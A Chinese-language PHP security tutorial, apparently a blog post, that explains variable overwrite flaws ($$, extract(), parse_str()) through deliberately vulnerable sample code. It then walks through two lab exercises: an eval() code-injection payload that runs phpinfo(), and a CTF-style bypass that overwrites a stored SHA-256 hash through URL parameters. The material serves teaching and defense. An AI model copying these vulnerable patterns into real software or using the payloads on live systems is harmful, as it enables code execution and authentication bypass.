文章目录
PHP变量覆盖漏洞原理
一、超全局变量
编写以下代码
<?php
var_dump($_GET);
?>
在浏览器中执行,可以看到 $_GET
是一个关联数组,此用法适用于所有超全局变量。
访问 http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php?name=ymqyyds&money=wanwanyi
array (size=2)
'name' => string 'ymqyyds' (length=7)
'money' => string 'wanwanyi' (length=8)
$GLOBALS 所有超全局变量
$_GET 通过GET方法传递给脚本的变量数组
$_POST 通过POST方法传递给脚本的变量数组
$_COOKIE cookie变量数组
$_SERVER 服务器环境遍历数组
$_REQUEST 所有用户输入的变量数组,包括$_GET,$_POST,$_COOKIE
$_FILES 与文件上传相关的变量数组
$_ENV 环境变量数组
$_SESSION 会话变量数组
如果参数本身是一个数组呢
访问 http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php?name[0]=ymqyyds&name[1]=wanwanyi&name[2]=money
array (size=1)
'name' =>
array (size=3)
0 => string 'ymqyyds' (length=7)
1 => string 'wanwanyi' (length=8)
2 => string 'money' (length=5)
结果就是按照正常二维数组输出
二、变量覆盖的用法
1、$$可变变量
再PHP中,$var
表示一个名为 var 的普通变量,他存储字符串,整数,浮点等任何值。而 $$var
用于存储 $var
的值
<?php
$var = "woniu";
$$var = "hello";
echo $var."<br>";
echo $$var."<br>";
echo $woniu."<br>";
?>
输出
woniu
hello
hello
其他表示方法
<?php
$a = "hello";
$$a = "world";
echo "$a ${$a}"."<br>";
echo "$a $hello"."<br>";
?>
输出
hello world
hello world
2、全局变量覆盖
<?PHP
$auth = 0;
foreach($_GET as $key => $value) {
$$key = $value;
// 每次循环执行这句代码都会将URL地址参数重新赋值为URL地址参数中的参数值
}
echo $auth;
?>
访问
http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php?auth=ymqyyds
输出
ymqyyds
访问
http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php?auth=ymqyyds&auth=cbcbcb
输出
cbcbcb
为什么需要将地址参数中的Key转换为变量?因为后续使用非常方便,不需要再进行参数接收,直接用变量就行,比如 $auth = $_GET['auth'];
这样后面就不需要再写 $_GET['auth']
直接用 $auth
就可以了
3、extract() 函数
<?php
$auth = false;
extract($_GET);
echo $auth;
?>
访问
http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php?auth=ymqyyds
输出
ymqyyds
从数组当中,将字符串变为一个变量
extract() 将URL地址中的参数本来是一个数组的形式,现在直接将结果存放在变量当中,此时URL地址中变量名充当键名,参数值作为变量的值
4、parse_str() 函数
将字符串解析为多个变量,与此相同的功能还有 mb_parse_str()
<?PHP
$a = "aa";
$str = "a=test";
parse_str($str);
echo $a;
?>
访问
http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php
输出
test
意思就是把a和test拆开,a作为变量,test作为值传给a
5、其他
全局变量注册 register_globals = On
和 import_request_variables()
函数,仅在PHP5.4版本之前有用
三、变量覆盖演练
1、变量覆盖与代码注入
<?PHP
$x = $_GET['x'];
eval("var_dump($$x);");
?>
访问 http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php?x=x=phpinfo()
eval("var_dump($$x);");
传参
?x=x=phpinfo()
eval("var_dump($x);");
eval("var_dump(phpinfo());");
eval("var_dump($$x);");
语法拼接 666);var_dump(phpinfo()
eval("var_dump(666);var_dump(phpinfo());");
访问
http://192.168.230.188/unserializevul/othervul/Php_Variable_Coverage.php?x=x=666);var_dump(phpinfo()
2、变量覆盖
<?php
error_reporting(0);
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482bafeea05a';
$parsed = parse_url($_SERVER['REQUEST_URI']);
var_dump($parsed);
if(isset($parsed["query"])){
$query = $parsed["query"];
$parsed_query = parse_str($query); // 没有返回值,$parsed_query === null 比如query: auth=nbnbnb 则 parse_str($query) 执行表示 $auth=nbnbnb
if($parsed_query != null){
$action =$parsed_query['action'];
}
if($action==="auth"){
$key = $_GET["key"];
$hashed_input = hash('sha256',$key);
if($hashed_input!==$hashed_key){
die("no");
}
echo "Flag:f7119dfdd560f9d1fcbe";
}
}
else{
show_source( __FILE__);
}
?>
这里讲解一下
parse_str()
函数
这里可以看到,该函数返回的是 void 类型的值,这在php表示不返回值,所以我们在调试的时候才会发现,
$parsed_query = parse_str($query); var_dump($parsed_query);
代码执行之后的 显示结果为空,如果要想该函数执行之后有结果,我们需要$parsed_query = parse_str($query,$result);
此时就会将拆解结果存放在$result
变量中所以这里
这几行代码纯粹就是无效的,用来误导人的
此时
$parsed_query
一定为空
此时我们会发现,既然 $parsed_query
一定为空,那么其判断就不会成立,$action
就没有值,怎么回事呢?
别忘了,$action
完全是可以来自我们URL地址参数构造的,在URL地址参数中构造 ?action=auth 就ok了
所以此时只需要 ?action=auth&key=123456&hashed_key=xxx
其中这个xxx就是使用sha256加密123456字符串得到的结果8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92
此时 parse_str 函数执行后 就会变成 $action="auth" $key="123456" $hashed_key="8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92"
进入代码之后 $hashed_key
就会覆盖掉原本定义的 $hashed_key
,此时再和我们自己传入的 key 作比较,就成功绕过